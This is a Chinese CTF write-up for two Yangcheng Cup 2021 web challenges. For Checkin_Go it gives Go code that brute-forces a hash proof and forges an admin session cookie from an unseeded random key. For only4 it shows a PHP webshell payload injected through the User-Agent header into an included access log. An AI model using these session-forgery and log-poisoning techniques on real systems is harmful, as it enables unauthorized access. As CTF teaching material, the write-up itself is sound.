0%

羊城杯2021-网络安全大赛 Web Writeup

前言

签到完毕就算成功

Checkin_Go

这题还真是够 checkin 的。。。

首先注意到,在main.go 这里,Go中的 randomChar 并没有设定随机种子,所以实际上是伪随机,程序开始时的 cookie.NewStore(randomChar(16)) 其实是固定的。

在 loginGetHandler 这里,注意到有一句 hsh := hashProof() ,实际上是在此设定了登录所需的 hash。同时,我们再来看这个代码

1
2
3
4
5
func hashProof() string {
hsh := md5.New()
hsh.Write(randomChar(6))
return fmt.Sprintf("%x", hsh.Sum(nil))[:6]
}

这里也是没有设定随机种子的,这就意味着我们可以对其进行猜测。比如网站给出的前缀是 8240ba,我们可以写这样一个小程序来碰撞。此处输出的是十六进制的字符串,我们在post的时候要注意把字符串进行 urlencode ,这里使用 %隔两个填充一次即可。

1
2
3
4
5
6
7
8
9
10
11
hsh := md5.New()
for {
hsh.Reset()
str := randomChar(6)
hsh.Write(str)
hash1 := fmt.Sprintf("%x", hsh.Sum(nil))
if hash2 := hash1[:6]; hash2 == "8240ba" {
fmt.Printf("%x", str)
break
}
}

注意,在 auth := r.Group("/auth/",hashProofRequired()) 中有个判断,

1
2
3
4
5
if md5Hash(c.PostForm("hsh"))[:6] != hsh {
fmt.Println(hsh)
c.String(200, "wrong hash")
c.Abort()
}

我们要post的是hsh的原文而不是md5加密后的,所以我们上面才要进行urlencode。

这里并没有进行登录账号密码验证,但是限制非admin的验证,所以我们先随意用户登录。

1
2
3
4
5
6
7
8
if uname == "admin"{
c.String(200,"noon,you cant be admin")
return
}
if uname == "" || pwd == "" {
c.String(200, "empty parameter")
return
}

登录完成后会跳转到 /game ,同时我们在 guess.go/start() 中将会获得flag以及player的money,并会写入到 cookie: o 中。

这里提供了 /add 来添加钱,不过实际上我们并不需要用到这个钱,而且这个钱是加在flag上的,很明显flag的钱够多了,我们不需要加在flag上。而且其中有一个 check 来检查,我们似乎无法直接修改其金钱。但是我们可以自己构造一个小程序,把 playerMoney 和 NowMoney 调换一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
r := gin.Default()
storage := cookie.NewStore(randomChar(16))
r.Use(sessions.Sessions("o", storage))
r.GET("/", func(c *gin.Context) {
s := sessions.Default(c)
s.Set("uname", "admin")
checkPlayerMoney := s.Get("checkPlayerMoney")
checkNowMoney := s.Get("checkNowMoney")
s.Set("checkNowMoney", checkPlayerMoney)
s.Set("checkPlayerMoney", checkNowMoney)
playerMoney := s.Get("playerMoney")
nowMoney := s.Get("nowMoney")
s.Set("nowMoney", playerMoney)
s.Set("playerMoney", nowMoney)
s.Save()
})
r.Run("0.0.0.0:8081")

然后拿到返回的 cookie,再传给线上环境,访问 /game 并购买 flag 得到 flag。

only4

我估计这题是个非预期解,,,

这题本质是想让你走反序列化的,但是拿到 webshell 以后上去一看,好家伙 serialize.php 这文件名谁能猜得出来?

include($gwht); 中存在文件引用,

在 /var/www/example.com/log/access.log 中,或者 /proc/self/fd/8 可以获得访问日志,然后 User-Agent 改为 <?php eval($_POST[0]); ?> 即可实现一句话木马拿到 webshell 。flag 在根目录。